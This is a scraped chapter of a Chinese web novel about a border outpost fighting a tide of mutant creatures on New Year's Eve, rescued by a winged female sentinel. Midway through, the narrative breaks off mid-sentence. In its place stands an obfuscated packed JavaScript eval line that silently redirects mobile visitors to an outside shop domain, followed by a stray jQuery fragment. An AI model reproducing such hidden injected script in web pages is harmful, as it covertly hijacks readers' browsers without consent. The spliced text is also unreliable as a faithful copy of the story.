文趣网 > 其他小说 > 黑暗向导伪装哨兵 > 1. 新年夜驰援
    新历3625年,12月31日,23时59分。

    浓重的夜色吞噬着大地。

    唯有中心的伊甸区依旧明亮如白昼,圣洁的白塔坐落其间,维持着稳定的能量屏障,照拂伊甸之城的众生。

    “咚——咚——”

    新年的钟声敲响。

    金碧辉煌的宫殿中,身着华服的人们举起酒杯,琥珀色的酒液映射出优雅从容的微笑。

    “又是新的一年。赞颂白塔。”

    “赞颂白塔——”

    “赞颂白塔——”

    “砰——砰——”

    新年的烟花在空中绽放。

    ……

    “砰——砰——”

    一个胡子拉碴的壮硕男人扛着一架重型炮,一大片畸变种被轰上了天,支离破碎地炸开。

    然而那些断肢落地后仍然蠕动着继续向前爬行。

    “该死的!”男人啐了一口。很多畸变种不用特制的武器根本杀不死,不幸的是,这次袭击他们的畸变潮就是这类。

    不远处,警报发出尖锐鸣响,血色红光闪烁。

    “警报——警报——”

    “能量墙破损30%——40%——”

    “污染区即将扩散——”

    “请附近居民立即撤离——立即撤离——”

    动荡不安的气息瞬间在这座小小的边境城区病毒似的扩散开。

    哨站的非战斗人员正在疏散居民。

    “去他大爷的!老娘才不撤离!”身形高大的褐发女人熟练地扛起一把闪烁着光泽的大刀——那是用畸变种躯壳材料打造的兵器。杀畸变种特别好用。

    “不是孬种的都跟我上前线!”消息发送。

    女人是这个城区最大的雇佣兵公会的会长。

    破损的能量墙前,越来越多的哨站和雇佣兵战士接上去——他们是最后一道防线。

    但远处的畸变潮滚滚而来。

    “砰——砰——”

    扛着重型炮的男人又轰炸了一片,尽力为援兵的到来拖延时间。

    “站长!收到求援回应了!”

    男人浓眉松开几分,“哪个区的?”

    “呃……伊甸区。”通讯员语气迟疑了几分。

    “放屁!伊甸区的那帮贵族会在这种时候来这鸟不拉屎的地方?”但是有总比没有好,男人继续问,“……来几支队伍?”

    “……两、两个人。”通讯员语气弱了下去。

    男人气笑了。他就不该对伊甸区那帮混账报什么希望。

    “还有别的区回应吗?”

    “……暂无。”

    站长望着远处的畸变潮沉默了一瞬,放下了重型炮,声音恢复了冷静,“人都撤干净了吗?”

    “快了,最多半个小时。”

    半个小时。

    他放下重型炮,扛起一把重剑,周身的气场忽然一凛。

    一只巨大的棕熊精神体出现在他身旁。

    “通知全员,污染区一次扩散范围有限,半个小时内必须把人都撤离扩散范围区,届时破损能量墙回收,重新计算污染范围再构建,预防二次扩散,至于求援……”

    男人向能量墙外走去,声音散落在他身后。

    “继续争取。”

    畸变潮——污染区扩散最棘手的一种情况。

    因为数量实在太多了。

    节肢多足类畸变种潜行速度极快,挥舞着令人密恐的节肢触足,在抵达能量墙的一瞬间骤然展开油光锃亮的甲壳翼翅——丑得简直令人发指。

    它们冲撞上去,发出被灼痛的啸叫,那叫声像利剑一样穿破人的耳膜,哨兵们难以忍受地指挥着巨大化的精神体将这些长虫撕裂,断肢纷纷摔落在地上,然而有翼翅的半截身躯竟然继续飞舞着向能量墙撞去——断肢不是这类畸变种的弱点。

    更多的畸变种袭来了。形似蜥蜴的爬行类畸变种头顶无数复眼,软体环节类畸变种扇动着鳞翅,还有的脊椎类畸变种,外形似人,但四肢异常肿胀,整颗头颅都是一张嘴,张开,密密麻麻的鲨鱼尖齿。

    精神体在撕咬,哨兵的刀剑抬起又落下。人的血液、畸变种的异色组织液混合成一团。

    半个小时。他们至少要撑半个小时。

    但是真的太多了。他们都是出入污染区的老兵了,但是从来没有一次性面对过这么多类型的畸变种。而他们之中资质最高的哨兵也只有B级——边境资源如此。

    与此同时,这座边境城区的漆黑的夜空忽然有一点白光闪烁。

    就像一颗星星。

    ——那是一架小型飞行器。悬停在高空。

    一个身着干练黑色作战服的女人打开了飞行器的舱门,向前方的畸变潮望了一眼,微微蹙眉。

    “B级。”女人淡色的薄唇微启。

    这次畸变潮强度为B级,接近A级的那种B级,而这座边境哨站没有任何援军。

    不出十分钟,他们就会沦陷。

    她迅速戴上黑色特制手套,语气沉静地做出决策,“诺拉,分析落点坐标,10秒后发射PN-A型净化弹。”

    机械女声在她的耳机中响起:“正在分析坐标——分析完成——”

    女人扣上覆面,下一刻倾身踏出,一双宽大的翅膀从她背后展开又收拢。

    极速俯冲下落。

    几乎是在同一时间,一颗炮弹从飞机器侧身隐藏式弹舱门发射。

    “PN-A型净化弹已发射——”诺拉的机械音响起。

    炮弹向下方的畸变潮袭去,这种净化弹是军方专门针对畸变种研究出来的,异常珍贵,每一颗威力极大,造价极高。

    她料到新年这种节点很可能无法快速调集援军,特意向指挥官申请了一颗以备不时之需。

    净化弹正在下坠,诺拉计算出来最具杀伤力的落点距离浴血奋战的哨兵不远,一旦爆炸,那些哨兵不死也残。

    但她会比净化弹更快抵达。

    净化弹投掷下来的时候,哨站站长是最先反应过来的,他一瞬间想明白了伊甸区来的那两个援兵,脑中警铃大作。

    天杀的!那帮高高在上的混账东西派两个人来,原来是要把他们都炸了!

    “快撤!”他在怒火和惊惶中竭力吼出这一句。

    然而一切已经来不及了。

    “轰——”

    巨大的轰鸣声响彻云霄,强烈的白光刺进视网膜,令人短暂失明。

    而在毁灭性的爆炸力袭来之前,一个女人忽然出现在所有哨兵的最前方,一双充满力量感的翅膀在她身后张开,扇动,一道无形的屏障展开,护住了所有人。

    但风墙之外就没有那么平静了。

    汹涌的畸变潮被硬生生炸出一个巨大空洞,就像在海浪中撕出了一片无法愈合的岛屿。

    只一瞬间,横尸遍野。

    ……

    嗯?怎么没有痛感?

    站长竭力睁开眼睛,白光吞噬了所有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745168|209260||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的畸变种,纯白的天地之间,他看见最前方悬浮着一个黑色人影,一双硕大的翅膀从那人身后展开。

    这是一位强大的哨兵,至少A级。站长心想。

    可是A级就能硬扛这种、这种他从来没有见过的、一看就是伊甸才有的贵货武器吗?

    半精神体化竟然能运用至此?或许是超A级吗。

    伊甸区居然舍得派这种人来?

    但不管舍不舍得,那个女人已经踏着炮弹的余烬,走到他面前来了。

    “你是这座哨站的负责人?”她言辞冷淡,强大精神力所散发出来的压迫感扑面而来。

    站长的棕熊精神体抖了一下,往身形魁梧的主人身后悄悄移了两步,脑袋缩了缩,让本就不明显的脖子愈发短得可怜。

    站长语气下意识地恭敬:“是。”

    “附近居民撤离了吗?”

    “污染区扩散后第一时间安排撤离,预计十分钟后撤离完成。”

    “很好。”污染区扩散最重要的任务就是及时撤离居民。这是个合格的站长。

    “求援情况怎么样?”

    “除了您,还收到一位来自伊甸区的回应。”站长试探着问,“你们两位不是一起来的吗?”

    除了她,还有一位爱管闲事的单兵吗?

    还是伊甸区的……有点麻烦。她的身份最好避着点人。

    她没有回答站长的问题,只是抬头打量了一下破损严重的能量墙,“没有备用的能量源吗?”

    站长有点苦涩,“没有,我们这种地方很少有储备能量。”所以如果污染区二次扩散的话,他们也只能回收利用,拆东墙补西墙。

    “不过已经向上面发送申请了。”

    女人了解完哨站基本情况,回头望向远方——畸变潮正在重新集结。

    “本次畸变潮应该有两波。”女人再次看向众哨兵,“下一波十分钟后抵达,诸位做好战斗准备。”

    能量墙是唯一能在污染区扩散时守住人类领地不被污染的屏障,他们必须要撑到能量墙重新构建好,或者,杀光本次大潮中的所有畸变种。

    这是一场持久战。

    所有人都明白这一点。他们一声不吭,互相处理着伤口,哨兵强大的身体素质让他们的伤口很快开始愈合,更难处理的是在第一波畸变潮中被冲击得暴动混乱的精神力。他们唯一能做的就是抽出几针合成向导素往胳膊上狠狠注射进去。

    今天是新年的第一天,他们却要在死亡边缘和丑陋的畸变种交锋。

    但是没有人退缩。

    哨兵们的目光望向孤身立在最前方的女人,那并不是军人的那种板正严肃的站姿,她的身体重心放在右腿上,整个人微微倾斜,左腿的黑色长靴松松缓缓地叩击着地面。

    一副游刃有余、甚至有些漫不经心的样子。

    女人身后的翅膀已经消失。在众人看不到的地方,她左手掌心里窝着一只挺着白色胸脯的灰色小鸟,右手指尖梳理着羽毛。手法娴熟。

    远处,无数畸变种踏着同类的断肢残骸卷土重来。

    梳完毛的小鸟重新回到精神图景。

    女人身体前倾,充满力量感的身躯掩盖在黑色作战服下,肌肉绷紧,在一瞬间将身体机能调动到最佳状态,黑靴踏地蓄势腾空跃起,一双翅膀从女人身后再次展开。

    下一瞬,羽翼推动着她直冲云霄。

    十分钟的休整时间是留给那些哨兵的。

    而她会主动出击。